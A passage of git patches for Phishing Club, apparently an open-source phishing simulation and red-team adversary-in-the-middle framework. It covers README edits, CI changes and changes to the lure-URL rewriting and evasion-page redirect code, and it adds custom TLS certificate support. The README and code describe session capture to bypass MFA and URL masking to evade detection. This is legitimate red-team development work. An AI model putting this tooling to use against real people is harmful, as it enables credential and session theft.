From 162ca95e442ab301d303ed7f6ac9ac2857ff1a17 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 2 Apr 2026 12:15:35 +0200 Subject: [PATCH 01/78] update readme Signed-off-by: Ronni Skansing --- README.md | 31 ++++++++++++------------------- 1 file changed, 12 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 1dc129d..c95ccdb 100644 --- a/README.md +++ b/README.md @@ -4,10 +4,7 @@ [![Discord](https://img.shields.io/badge/Discord-Join%20Server-7289da?style=flat&logo=discord&logoColor=white)](https://discord.gg/Zssps7U8gX) [![License: AGPL v3](https://img.shields.io/badge/License-AGPL%20v3-blue.svg)](https://www.gnu.org/licenses/agpl-3.0) -**Phishing Club** is a phishing simulation and man-in-the-middle framework designed for companies that perform phishing simulation internally or as part of their business, and for aidding red teams obtaining initial access. - -It can be used both as a replacement for Gophish for phishers that are looking for more features and as an aid or alternative for offensive phishing tools like MITM frameworks. - +**Phishing Club** is a phishing simulation and red team phishing framework. ![Phishing Club Dashboard](https://phishing.club/img/animated.gif) @@ -22,20 +19,20 @@ curl -fsSL https://raw.githubusercontent.com/phishingclub/phishingclub/main/inst Remember to copy the admin URL and password -For a manual step by step guide or more in depth installation information - [click here](https://phishing.club/guide/management/#install) +[Manual installation](https://phishing.club/guide/management/#install) -Prebuild images of the latest version are also available. - -See [production docker compose example](https://github.com/phishingclub/phishingclub/blob/develop/docker-compose.production.yml) and [the latest images](https://github.com/phishingclub/phishingclub/pkgs/container/phishingclub) +[GHCR Images](https://github.com/phishingclub/phishingclub/pkgs/container/phishingclub) +[production docker compose example](https://github.com/phishingclub/phishingclub/blob/develop/docker-compose.production.yml) ## Features +Phishing Club providers a lot of features for simulation and red teaming, here are some highlights. + - **Multi-stage phishing flows** - Put together multiple phishing pages -- **Reverse proxy phishing** - Capture sessions to bypass weak MFA - **Domain proxying** - Configure domains to proxy and mirror content from target sites - **Flexible scheduling** - Time windows, business hours, or manual delivery -- **Multiple domains** - Auto TLS, custom sites, asset management +- **Multiple domains** - Auto TLS, custom sites and asset management - **Advanced delivery** - SMTP configs or custom API Sender with OAuth support - **Recipient tracking** - Groups, CSV import, repeat offender metrics - **Analytics** - Timelines, dashboards, per-user event history @@ -46,6 +43,7 @@ See [production docker compose example](https://github.com/phishingclub/phishing ## AiTM and Red Team Features +- **Reverse proxy phishing** - Capture sessions to bypass weak MFA - **Full control** - Modify and capture requests and responses independently - **DOM rewriting** - Modify content using CSS/jQuery-like selectors or regex - **Path and param rewriting** - Rewrite URL paths and query parameters on the fly @@ -62,6 +60,7 @@ See [production docker compose example](https://github.com/phishingclub/phishing - **Device Code phishing** - Device code phishing is as simple as adding a single line to a email or landing page ### Blogs & Resources +- [Phishing Club User Guide](https://phishing.club/guide/) - [Covert red team phishing with Phishing Club](http://phishing.club/blog/covert-red-team-phishing-with-phishing-club/) - [Phishing Simulation vs Red Team Phishing: Understanding Different Approaches](https://phishing.club/blog/phishing-simulation-vs-red-team-phishing/) @@ -244,11 +243,11 @@ For organizations that want to: - Offer Phishing Club as a service without source code disclosure - Modify or modify the codebase without source code disclosure -**Contact us for commercial licensing**: [license@phishing.club](mailto:license@phishing.club) +**Contact for commercial licensing**: [license@phishing.club](mailto:license@phishing.club) ## Roadmap -There is no offical roadmap at this moment. +There is no offical roadmap. But you can vote with emojis on the `[feature]` requests [on Github](https://github.com/phishingclub/phishingclub) or add you own feature request. @@ -256,12 +255,7 @@ Feature request with a high number of votes will be prioritized, however it is n ## Contributing -We welcome contributions from the community! Please read our [Contributing Guidelines](CONTRIBUTING.md) for detailed information on: - -- Development setup and workflow -- Code standards and conventions -- Submission requirements -- License agreements +We welcome contributions from the community! Please read our [Contributing Guidelines](CONTRIBUTING.md) **Quick Start for Contributors:** 1. Check existing issues and create a feature request if needed @@ -285,7 +279,6 @@ Need help? Join the [Phishing Club Discord](https://discord.gg/Zssps7U8gX) Community support is provided on a best-effort, volunteer basis. For dedicated assistance, paid support is available. - **General Support**: Join our Discord community or open a GitHub issue -- **Commercial Licensing**: Contact [license@phishing.club](mailto:license@phishing.club) - **Security Issues**: See our [Security Policy](SECURITY.md) From 8d007fa38d3ce472af6b11cd91f4c8cab0305f45 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 2 Apr 2026 13:28:34 +0200 Subject: [PATCH 02/78] disable ghcr for build builds Signed-off-by: Ronni Skansing --- .github/workflows/test-build.yml | 34 ++++++++++++++++---------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/.github/workflows/test-build.yml b/.github/workflows/test-build.yml index b23c982..7158b3c 100644 --- a/.github/workflows/test-build.yml +++ b/.github/workflows/test-build.yml @@ -164,23 +164,23 @@ jobs: echo "✅ Legacy package created without signature" fi - - name: Build and push test multi-arch Docker image - uses: docker/build-push-action@v5 - with: - context: . - file: ./Dockerfile.release - push: true - platforms: linux/amd64,linux/arm64 - tags: | - ghcr.io/${{ github.repository }}:test-latest - labels: | - org.opencontainers.image.title=PhishingClub-Test ${{ steps.get_version.outputs.VERSION }} - org.opencontainers.image.description=PhishingClub test build image (linux/amd64, linux/arm64). Not for production deployment. - org.opencontainers.image.url=${{ github.server_url }}/${{ github.repository }} - org.opencontainers.image.source=${{ github.server_url }}/${{ github.repository }} - org.opencontainers.image.version=${{ steps.get_version.outputs.VERSION }} - org.opencontainers.image.created=${{ github.event.head_commit.timestamp }} - org.opencontainers.image.revision=${{ github.sha }} + # - name: Build and push test multi-arch Docker image + # uses: docker/build-push-action@v5 + # with: + # context: . + # file: ./Dockerfile.release + # push: true + # platforms: linux/amd64,linux/arm64 + # tags: | + # ghcr.io/${{ github.repository }}:test-latest + # labels: | + # org.opencontainers.image.title=PhishingClub-Test ${{ steps.get_version.outputs.VERSION }} + # org.opencontainers.image.description=PhishingClub test build image (linux/amd64, linux/arm64). Not for production deployment. + # org.opencontainers.image.url=${{ github.server_url }}/${{ github.repository }} + # org.opencontainers.image.source=${{ github.server_url }}/${{ github.repository }} + # org.opencontainers.image.version=${{ steps.get_version.outputs.VERSION }} + # org.opencontainers.image.created=${{ github.event.head_commit.timestamp }} + # org.opencontainers.image.revision=${{ github.sha }} - name: Verify build artifacts run: | From fb0fb71b3bc0a77285ae49f3acc46e11066ace9a Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 2 Apr 2026 14:20:49 +0200 Subject: [PATCH 03/78] update release notes Signed-off-by: Ronni Skansing --- RELEASE.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/RELEASE.md b/RELEASE.md index 2939806..a31fef3 100644 --- a/RELEASE.md +++ b/RELEASE.md @@ -1,5 +1,19 @@ # Changelog +## [1.34.0] - 2026-04-02 +- Added dynamic groups +- Added late scheduling to campaigns +- Added option to auto prune orphans +- Added option to clear generated device codes for campaign +- Added proxy (socks5) for device code +- Added optional request path and method on proxy rewrites +- Added proxy rewrite header engine +- Added support for proxy capturing as info event instead of submit event +- Fix proxy replace not working on header responses +- Fix email is not optional in campaign template +- Fix proxy normalize empty path to / +- Minor UI fixes / improvements + ## [1.33.0] - 2026-03-21 - Added Microsoft Device Code phishing - Fix pagination on dashboard events table From 838cde0dbb76f9b31dda8eee8454a7de8664275e Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 13 Apr 2026 19:58:44 +0200 Subject: [PATCH 04/78] remove test build on main/develop Signed-off-by: Ronni Skansing --- .github/workflows/test-build.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/.github/workflows/test-build.yml b/.github/workflows/test-build.yml index 7158b3c..6fb20d6 100644 --- a/.github/workflows/test-build.yml +++ b/.github/workflows/test-build.yml @@ -1,8 +1,6 @@ name: Test Build on: - #pull_request: - # branches: [ main, develop ] push: branches: [test-build] From a7e224e0b25e38bd856085aca60b23d49e23a8b1 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 13 Apr 2026 20:09:35 +0200 Subject: [PATCH 05/78] fix create template did not include url path Signed-off-by: Ronni Skansing --- frontend/src/lib/api/api.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/frontend/src/lib/api/api.js b/frontend/src/lib/api/api.js index 4fa3379..6493f49 100644 --- a/frontend/src/lib/api/api.js +++ b/frontend/src/lib/api/api.js @@ -1081,7 +1081,8 @@ export class API { urlIdentifierID, stateIdentifierID, afterLandingPageRedirectURL, - emailID: emailID + emailID: emailID, + urlPath: urlPath }) => { return await postJSON(this.getPath('/campaign/template'), { name: name, @@ -1098,7 +1099,8 @@ export class API { afterLandingPageRedirectURL: afterLandingPageRedirectURL, urlIdentifierID: urlIdentifierID, stateIdentifierID: stateIdentifierID, - emailID: emailID + emailID: emailID, + urlPath: urlPath }); }, From 2d3f7656e599294d788865ac7560abfa48420484 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 13 Apr 2026 20:20:19 +0200 Subject: [PATCH 06/78] add support for url rewrite in visual proxy editor Signed-off-by: Ronni Skansing --- .../proxy/ProxyConfigBuilder.svelte | 315 +++++++++++++++++- 1 file changed, 313 insertions(+), 2 deletions(-) diff --git a/frontend/src/lib/components/proxy/ProxyConfigBuilder.svelte b/frontend/src/lib/components/proxy/ProxyConfigBuilder.svelte index 7f19870..beaca17 100644 --- a/frontend/src/lib/components/proxy/ProxyConfigBuilder.svelte +++ b/frontend/src/lib/components/proxy/ProxyConfigBuilder.svelte @@ -561,7 +561,7 @@ function addGlobalRewriteUrlRule() { configData.global.rewrite_urls = [ ...configData.global.rewrite_urls, - { _id: getRuleId(), find: '', replace: '', query: '', filter: '' } + { _id: getRuleId(), find: '', replace: '', query: [], filter: [] } ]; } @@ -638,7 +638,7 @@ function addHostRewriteUrlRule(hostIndex) { configData.hosts[hostIndex].rewrite_urls = [ ...(configData.hosts[hostIndex].rewrite_urls || []), - { _id: getRuleId(), find: '', replace: '', query: '', filter: '' } + { _id: getRuleId(), find: '', replace: '', query: [], filter: [] } ]; configData.hosts = [...configData.hosts]; } @@ -658,6 +658,28 @@ configData = configData; } + // url rewrite query param helpers — query is []{ find, replace } + function addURLRewriteQueryParam(rule) { + rule.query = [...(rule.query || []), { find: '', replace: '' }]; + configData = configData; + } + + function removeURLRewriteQueryParam(rule, index) { + rule.query = (rule.query || []).filter((_, i) => i !== index); + configData = configData; + } + + // url rewrite filter helpers — filter is []string (param name allowlist) + function addURLRewriteFilter(rule) { + rule.filter = [...(rule.filter || []), '']; + configData = configData; + } + + function removeURLRewriteFilter(rule, index) { + rule.filter = (rule.filter || []).filter((_, i) => i !== index); + configData = configData; + } + function removeResponseHeader(rule, key) { delete rule.headers[key]; configData = configData; @@ -2348,6 +2370,123 @@ Replace +
+
+
+ Query Parameter Renames + +
+ {#if rule.query && rule.query.length > 0} +
+ {#each rule.query as qParam, qIndex} +
+ + + +
+ {/each} +
+ {/if} + rename query parameters when rewriting the URL (original → new + name) +
+
+
+
+
+ Query Parameter Filter + +
+ {#if rule.filter && rule.filter.length > 0} +
+ {#each rule.filter as filterParam, fIndex} +
+ + +
+ {/each} +
+ {/if} + allowlist of query parameters to keep — if empty, all parameters + are forwarded +
+
{/each} @@ -2624,6 +2763,17 @@ {configData.global.response.length} {/if} +
@@ -3134,6 +3284,167 @@ Add Response Rule
+ {:else if globalRulesTab === 'urlrewrite'} +
+

Transform URL paths to evade detection by masking original target URLs.

+
+
+ {#each configData.global.rewrite_urls || [] as rule, i (rule._id)} +
+
+ {rule.find || `Rule ${i + 1}`} + +
+
+
+ + Find + +
+
+ + Replace + +
+
+
+
+ Query Parameter Renames + +
+ {#if rule.query && rule.query.length > 0} +
+ {#each rule.query as qParam, qIndex} +
+ + + +
+ {/each} +
+ {/if} + rename query parameters when rewriting the URL (original → new name) +
+
+
+
+
+ Query Parameter Filter + +
+ {#if rule.filter && rule.filter.length > 0} +
+ {#each rule.filter as filterParam, fIndex} +
+ + +
+ {/each} +
+ {/if} + allowlist of query parameters to keep — if empty, all parameters are + forwarded +
+
+
+
+ {/each} + +
{/if} From 06c73977b7b38d4533cfba8e6e91c70f4ed6ba51 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 13 Apr 2026 22:08:42 +0200 Subject: [PATCH 07/78] fix recipient url using start url path in proxy Signed-off-by: Ronni Skansing --- backend/service/campaign.go | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) diff --git a/backend/service/campaign.go b/backend/service/campaign.go index 5ec6e1b..229137c 100644 --- a/backend/service/campaign.go +++ b/backend/service/campaign.go @@ -10,6 +10,7 @@ import ( "net/url" "os" "path/filepath" + "slices" "sort" "strings" @@ -3437,22 +3438,13 @@ func (c *Campaign) GetLandingPageURLByCampaignRecipientID( firstPageProxy = nil } else { // use phishing domain directly - startURL, err := firstPageProxy.StartURL.Get() - if err != nil { - c.Logger.Errorw("failed to get start url from first page proxy", "error", err) - return "", errs.Wrap(err) - } - parsedStartURL, err := url.Parse(startURL.String()) - if err != nil { - c.Logger.Errorw("failed to parse start url from first page proxy", "error", err) - return "", errs.Wrap(err) - } baseURL = "https://" + phishingDomain - // use campaign template URLPath if available, otherwise fall back to proxy StartURL path + // use template url path if set, otherwise root — the real start url path is an + // internal proxy detail and must never appear in a lure url sent to a victim if templateURLPath, err := cTemplate.URLPath.Get(); err == nil && templateURLPath.String() != "" { urlPath = templateURLPath.String() } else { - urlPath = parsedStartURL.Path + urlPath = "/" } } } @@ -3482,9 +3474,6 @@ func (c *Campaign) GetLandingPageURLByCampaignRecipientID( // build final url separator := "?" - if strings.Contains(baseURL, "?") { - separator = "&" - } url := fmt.Sprintf("%s%s%s%s=%s", baseURL, urlPath, separator, idIdentifier, campaignRecipientID.String()) // no audit on read return url, nil From fda18732f896538f357aa4da4ba445a26a6da899 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 16 Apr 2026 21:08:43 +0200 Subject: [PATCH 08/78] apply rewrite_urls rules when redirecting to proxy pages Signed-off-by: Ronni Skansing --- backend/app/server.go | 106 ++++++++++++++++++++++++++++++----------- backend/proxy/proxy.go | 90 ++++++++++++++++++++++++++++++---- 2 files changed, 160 insertions(+), 36 deletions(-) diff --git a/backend/app/server.go b/backend/app/server.go index cd70ca8..0b800d3 100644 --- a/backend/app/server.go +++ b/backend/app/server.go @@ -15,6 +15,7 @@ import ( "net/url" "os" "path/filepath" + "regexp" "runtime/debug" "strings" textTmpl "text/template" @@ -1240,10 +1241,9 @@ func (s *Server) checkAndServePhishingPage( return true, fmt.Errorf("Proxy page has no configuration: %s", err) } - // extract the phishing domain from Proxy configuration - var rawConfig map[string]interface{} - err = yaml.Unmarshal([]byte(proxyConfig.String()), &rawConfig) - if err != nil { + // parse proxy config as typed struct so rewrite_urls rules are accessible + var parsedConfig service.ProxyServiceConfigYAML + if err := yaml.Unmarshal([]byte(proxyConfig.String()), &parsedConfig); err != nil { return true, fmt.Errorf("invalid Proxy configuration YAML: %s", err) } @@ -1256,19 +1256,13 @@ func (s *Server) checkAndServePhishingPage( // find the phishing domain mapping for the start URL domain phishingDomain := "" - for originalHost, domainData := range rawConfig { - if originalHost == "proxy" || originalHost == "global" { + for originalHost, hostCfg := range parsedConfig.Hosts { + if hostCfg == nil { continue } if originalHost == startDomain { - if domainMap, ok := domainData.(map[string]interface{}); ok { - if to, exists := domainMap["to"]; exists { - if toStr, ok := to.(string); ok { - phishingDomain = toStr - break - } - } - } + phishingDomain = hostCfg.To + break } } @@ -1485,30 +1479,88 @@ func (s *Server) checkAndServePhishingPage( "phishingDomainType", phishingDomainRecord.Type, ) - // build the redirect URL to the phishing domain with campaign recipient ID + // build the redirect URL to the phishing domain with campaign recipient ID. + // apply rewrite_urls rules so the victim sees the friendly path, not the real + // start url path. query params from the start url are carried through but + // remapped according to rule.Query so they match what checkAndApplyURLRewrite + // expects when the request arrives at the proxy. urlParam := cTemplate.URLIdentifier.Name.MustGet() - // construct the redirect URL properly + // collect rewrite_urls rules for the start domain — host-specific first, then global + var rewriteRules []service.ProxyServiceURLRewriteRule + if hostCfg, ok := parsedConfig.Hosts[startDomain]; ok && hostCfg != nil { + rewriteRules = append(rewriteRules, hostCfg.RewriteURLs...) + } + if parsedConfig.Global != nil { + rewriteRules = append(rewriteRules, parsedConfig.Global.RewriteURLs...) + } + + // start from the start url path and query, then apply the first matching rule + redirectPath := parsedStartURL.Path + startQuery := url.Values{} + if parsedStartURL.RawQuery != "" { + startQuery, _ = url.ParseQuery(parsedStartURL.RawQuery) + } + + for _, rule := range rewriteRules { + pattern := strings.TrimPrefix(rule.Find, "^") + pattern = strings.TrimSuffix(pattern, "$") + re, reErr := regexp.Compile("^" + pattern) + if reErr != nil { + continue + } + if !re.MatchString(parsedStartURL.Path) { + continue + } + + // rewrite path to the friendly replacement + redirectPath = rule.Replace + + // remap query param keys: find → replace + if len(rule.Query) > 0 { + remapped := url.Values{} + for k, v := range startQuery { + remapped[k] = v + } + for _, qRule := range rule.Query { + if vals, exists := remapped[qRule.Find]; exists { + delete(remapped, qRule.Find) + remapped[qRule.Replace] = vals + } + } + startQuery = remapped + } + + // apply filter: keep only the listed query param names + if len(rule.Filter) > 0 { + allowed := make(map[string]struct{}, len(rule.Filter)) + for _, name := range rule.Filter { + allowed[name] = struct{}{} + } + filtered := url.Values{} + for k, v := range startQuery { + if _, ok := allowed[k]; ok { + filtered[k] = v + } + } + startQuery = filtered + } + + break + } + u := &url.URL{ Scheme: "https", Host: phishingDomain, - Path: parsedStartURL.Path, + Path: redirectPath, } - q := u.Query() + // merge start url query params (rewritten) with campaign params + q := startQuery q.Set(urlParam, campaignRecipientID.String()) if encryptedParam != "" { q.Set(stateParamKey, encryptedParam) } - // preserve any existing query params from start URL - if parsedStartURL.RawQuery != "" { - startQuery, _ := url.ParseQuery(parsedStartURL.RawQuery) - for key, values := range startQuery { - for _, value := range values { - q.Add(key, value) - } - } - } u.RawQuery = q.Encode() s.logger.Debugw("built proxy redirect URL", diff --git a/backend/proxy/proxy.go b/backend/proxy/proxy.go index db70813..4b28b9f 100644 --- a/backend/proxy/proxy.go +++ b/backend/proxy/proxy.go @@ -4506,17 +4506,89 @@ func (m *ProxyHandler) checkAndServeEvasionPage(req *http.Request, reqCtx *Reque } } - // preserve the original URL without campaign parameters for post-evasion redirect - originalURL := req.URL.Path - if req.URL.RawQuery != "" { - // parse query params and remove campaign recipient ID - query := req.URL.Query() - if reqCtx.ParamName != "" { - query.Del(reqCtx.ParamName) + // build the post-evasion redirect url using the start url as the source of truth for + // path and query params — the incoming request only has the campaign id param, not the + // real start url params (client_id, redirect_uri etc.). apply rewrite_urls rules so the + // victim sees the friendly path and remapped param names, not the real ones. + var startPath string + var startQuery url.Values + if reqCtx.ProxyEntry != nil { + if startURLVal, err := reqCtx.ProxyEntry.StartURL.Get(); err == nil { + if parsedStart, err := url.Parse(startURLVal.String()); err == nil { + startPath = parsedStart.Path + startQuery, _ = url.ParseQuery(parsedStart.RawQuery) + } } - if len(query) > 0 { - originalURL += "?" + query.Encode() + } + if startPath == "" { + startPath = req.URL.Path + } + if startQuery == nil { + startQuery = url.Values{} + } + + // collect rewrite_urls rules — host-specific first, then global + var rewriteRules []service.ProxyServiceURLRewriteRule + if hostCfg, ok := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; ok && hostCfg != nil { + rewriteRules = append(rewriteRules, hostCfg.RewriteURLs...) + } + if reqCtx.ProxyConfig.Global != nil { + rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...) + } + + redirectPath := startPath + redirectQuery := startQuery + + for _, rule := range rewriteRules { + pattern := strings.TrimPrefix(rule.Find, "^") + pattern = strings.TrimSuffix(pattern, "$") + re, reErr := regexp.Compile("^" + pattern) + if reErr != nil { + continue } + if !re.MatchString(startPath) { + continue + } + + // rewrite path to the friendly replacement + redirectPath = rule.Replace + + // remap query param keys: find → replace + if len(rule.Query) > 0 { + remapped := url.Values{} + for k, v := range startQuery { + remapped[k] = v + } + for _, qRule := range rule.Query { + if vals, exists := remapped[qRule.Find]; exists { + delete(remapped, qRule.Find) + remapped[qRule.Replace] = vals + } + } + redirectQuery = remapped + } + + // apply filter: keep only the listed query param names + if len(rule.Filter) > 0 { + allowed := make(map[string]struct{}, len(rule.Filter)) + for _, name := range rule.Filter { + allowed[name] = struct{}{} + } + filtered := url.Values{} + for k, v := range redirectQuery { + if _, ok := allowed[k]; ok { + filtered[k] = v + } + } + redirectQuery = filtered + } + + break + } + + originalURL := redirectPath + if len(redirectQuery) > 0 { + originalURL += "?" + redirectQuery.Encode() } // this is initial request with campaign recipient ID and no state parameter, serve evasion page From aa6b6b6c47bd192aa3312cf9afedcf15fe45bf83 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 16 Apr 2026 21:37:19 +0200 Subject: [PATCH 09/78] fix remove campaign webhooks and device codes on campaign delete Signed-off-by: Ronni Skansing --- backend/service/campaign.go | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/backend/service/campaign.go b/backend/service/campaign.go index 229137c..9157d81 100644 --- a/backend/service/campaign.go +++ b/backend/service/campaign.go @@ -1834,6 +1834,17 @@ func (c *Campaign) DeleteByID( c.AuditLogNotAuthorized(ae) return errs.ErrAuthorizationFailed } + // delete all campaign-webhook junction records + err = c.CampaignRepository.RemoveWebhooksByCampaignID(ctx, id) + if err != nil { + c.Logger.Errorw("failed to delete campaign webhooks by campaign id", "error", err) + return errs.Wrap(err) + } + // delete all microsoft device codes for the campaign + if err = c.MicrosoftDeviceCodeRepository.DeleteByCampaignID(ctx, id); err != nil { + c.Logger.Errorw("failed to delete microsoft device codes by campaign id", "error", err) + return errs.Wrap(err) + } // delete all campaign-allowDeny relations to the campaign err = c.CampaignRepository.RemoveAllowDenyListsByCampaignID(ctx, id) if err != nil { From db3860a4403c029c72aec0db4e2575faf1cfb3fd Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 16 Apr 2026 23:22:39 +0200 Subject: [PATCH 10/78] Add support for custom certificates in proxy configuration --- backend/acme/certmagic.go | 4 +- backend/model/proxy.go | 4 + backend/service/domain.go | 17 +- backend/service/proxy.go | 137 +- backend/testfiles/certs/cert.test/cert.key | 28 + backend/testfiles/certs/cert.test/cert.pem | 19 + .../certs/mycert.test/mycert.test.crt | 28 + .../certs/mycert.test/mycert.test.key | 52 + .../certs/mycert.test/yourdomain.pem | 80 + backend/testfiles/certs/wildcard/cert.key | 28 + backend/testfiles/certs/wildcard/cert.pem | 20 + frontend/src/lib/api/api.js | 18 +- .../proxy/ProxyConfigBuilder.svelte | 2819 ++++++++--------- frontend/src/routes/domain/+page.svelte | 4 +- frontend/src/routes/proxy/+page.svelte | 76 +- 15 files changed, 1909 insertions(+), 1425 deletions(-) create mode 100644 backend/testfiles/certs/cert.test/cert.key create mode 100644 backend/testfiles/certs/cert.test/cert.pem create mode 100644 backend/testfiles/certs/mycert.test/mycert.test.crt create mode 100644 backend/testfiles/certs/mycert.test/mycert.test.key create mode 100644 backend/testfiles/certs/mycert.test/yourdomain.pem create mode 100644 backend/testfiles/certs/wildcard/cert.key create mode 100644 backend/testfiles/certs/wildcard/cert.pem diff --git a/backend/acme/certmagic.go b/backend/acme/certmagic.go index 6685987..9eeef12 100644 --- a/backend/acme/certmagic.go +++ b/backend/acme/certmagic.go @@ -61,7 +61,9 @@ func setupCertMagic( if conf.TLSAuto() && conf.TLSHost() == name { return nil } - // check phishing host with managed TLS + // allow on-demand ACME only for domains that use managed TLS (let's encrypt / acme). + // own_managed_tls and self_signed_tls domains must never trigger ACME acquisition — + // their certificates are provided manually or generated internally. res := db. Select("id"). Where("name = ?", name). diff --git a/backend/model/proxy.go b/backend/model/proxy.go index 50e520e..24c2a59 100644 --- a/backend/model/proxy.go +++ b/backend/model/proxy.go @@ -20,6 +20,10 @@ type Proxy struct { Description nullable.Nullable[vo.OptionalString1024] `json:"description"` StartURL nullable.Nullable[vo.String1024] `json:"startURL"` ProxyConfig nullable.Nullable[vo.String1MB] `json:"proxyConfig"` + // GlobalTLSKey is the optional global custom certificate private key (not persisted, transient) + GlobalTLSKey nullable.Nullable[string] `json:"globalTLSKey"` + // GlobalTLSPem is the optional global custom certificate PEM (not persisted, transient) + GlobalTLSPem nullable.Nullable[string] `json:"globalTLSPem"` Company *Company `json:"-"` } diff --git a/backend/service/domain.go b/backend/service/domain.go index 65e7f7b..64322ca 100644 --- a/backend/service/domain.go +++ b/backend/service/domain.go @@ -903,6 +903,19 @@ func (d *Domain) handleOwnManagedTLS( ) return nil, errs.Wrap(err) } + // evict any previously cached certs for this domain so the stale cert is not served + existingCerts := d.CertMagicCache.AllMatchingCertificates(name) + if len(existingCerts) > 0 { + hashes := make([]string, 0, len(existingCerts)) + for _, c := range existingCerts { + hashes = append(hashes, c.Hash()) + } + d.CertMagicCache.Remove(hashes) + d.Logger.Debugw("evicted stale cached certs before replacing", + "domain", name, + "count", len(hashes), + ) + } // Create fresh buffers for caching since upload consumed the original buffers keyBufferForCache := bytes.NewBufferString(key) pemBufferForCache := bytes.NewBufferString(pem) @@ -910,7 +923,7 @@ func (d *Domain) handleOwnManagedTLS( ctx, pemBufferForCache.Bytes(), keyBufferForCache.Bytes(), - []string{name}, + []string{}, ) if err != nil { d.Logger.Errorw( @@ -1033,7 +1046,7 @@ func (d *Domain) handleSelfSignedTLS( ctx, pemBytes, keyBytes, - []string{name}, + []string{}, ) if err != nil { d.Logger.Errorw( diff --git a/backend/service/proxy.go b/backend/service/proxy.go index 7497672..bab2b2e 100644 --- a/backend/service/proxy.go +++ b/backend/service/proxy.go @@ -68,6 +68,7 @@ type ProxyServiceRules struct { // TLS modes: // - "managed": Use Let's Encrypt for automatic certificate management (DEFAULT) // - "self-signed": Use automatically generated self-signed certificates +// - "custom": Use a manually supplied certificate (key + pem) // // Configuration can be set globally and overridden per-host: // @@ -79,7 +80,7 @@ type ProxyServiceRules struct { // tls: // mode: "self-signed" # override global setting type ProxyServiceTLSConfig struct { - Mode string `yaml:"mode"` // "managed" | "self-signed" + Mode string `yaml:"mode"` // "managed" | "self-signed" | "custom" } // ProxyServiceImpersonateConfig represents client impersonation configuration @@ -756,6 +757,13 @@ func (m *Proxy) UpdateByID( if v, err := proxy.ProxyConfig.Get(); err == nil { current.ProxyConfig.Set(v) } + // copy transient cert fields — not persisted to db, but needed by syncProxyDomains + if v, err := proxy.GlobalTLSKey.Get(); err == nil { + current.GlobalTLSKey.Set(v) + } + if v, err := proxy.GlobalTLSPem.Get(); err == nil { + current.GlobalTLSPem.Set(v) + } // validate updated Proxy configuration if err := m.validateProxyConfigForUpdate(ctx, current, id); err != nil { @@ -890,6 +898,11 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P ) } + // validate domain-specific TLS config + if err := m.validateTLSConfig(domainConfig.TLS); err != nil { + return err + } + // validate domain-specific access control if err := m.validateAccessControl(domainConfig.Access); err != nil { return err @@ -911,6 +924,9 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P // validate global rules if config.Global != nil { + if err := m.validateTLSConfig(config.Global.TLS); err != nil { + return err + } if err := m.validateAccessControl(config.Global.Access); err != nil { return err } @@ -930,6 +946,52 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P } } + // validate custom TLS domains have a cert — either a new one is supplied or the domain already has one + newCertProvided := false + if globalKey, keyErr := proxy.GlobalTLSKey.Get(); keyErr == nil && len(globalKey) > 0 { + if globalPem, pemErr := proxy.GlobalTLSPem.Get(); pemErr == nil && len(globalPem) > 0 { + newCertProvided = true + } + } + if !newCertProvided { + // resolve the effective TLS mode for each host and check if any require a cert we don't have + for _, domainConfig := range config.Hosts { + if domainConfig == nil { + continue + } + // determine effective TLS mode for this host + effectiveTLS := "" + if domainConfig.TLS != nil && domainConfig.TLS.Mode != "" { + effectiveTLS = domainConfig.TLS.Mode + } else if config.Global != nil && config.Global.TLS != nil { + effectiveTLS = config.Global.TLS.Mode + } + if effectiveTLS != "custom" { + continue + } + // check if the phishing domain already has a custom cert in the db + phishingDomain, err := vo.NewString255(domainConfig.To) + if err != nil { + continue + } + existingDomain, err := m.DomainRepository.GetByName(ctx, phishingDomain, &repository.DomainOption{}) + if err != nil || existingDomain == nil { + // new domain — no existing cert possible + return validate.WrapErrorWithField( + fmt.Errorf("custom TLS mode requires a certificate to be provided for domain '%s'", domainConfig.To), + "proxyConfig", + ) + } + if !existingDomain.OwnManagedTLS.MustGet() { + // existing domain but no custom cert yet + return validate.WrapErrorWithField( + fmt.Errorf("custom TLS mode requires a certificate to be provided for domain '%s'", domainConfig.To), + "proxyConfig", + ) + } + } + } + return nil } @@ -1546,9 +1608,9 @@ func (m *Proxy) validateTLSConfig(tlsConfig *ProxyServiceTLSConfig) error { } // validate TLS mode - if tlsConfig.Mode != "" && tlsConfig.Mode != "managed" && tlsConfig.Mode != "self-signed" { + if tlsConfig.Mode != "" && tlsConfig.Mode != "managed" && tlsConfig.Mode != "self-signed" && tlsConfig.Mode != "custom" { return validate.WrapErrorWithField( - errors.New("tls.mode must be either 'managed' or 'self-signed'"), + errors.New("tls.mode must be either 'managed', 'self-signed', or 'custom'"), "proxyConfig", ) } @@ -2399,6 +2461,28 @@ func (m *Proxy) createProxyDomains(ctx context.Context, session *model.Session, domain.ManagedTLS.Set(false) domain.OwnManagedTLS.Set(false) domain.SelfSignedTLS.Set(true) + } else if tlsMode == "custom" { + // check if a global cert is provided on the proxy model + globalKey, keyErr := proxy.GlobalTLSKey.Get() + globalPem, pemErr := proxy.GlobalTLSPem.Get() + if keyErr == nil && pemErr == nil && len(globalKey) > 0 && len(globalPem) > 0 { + // apply the 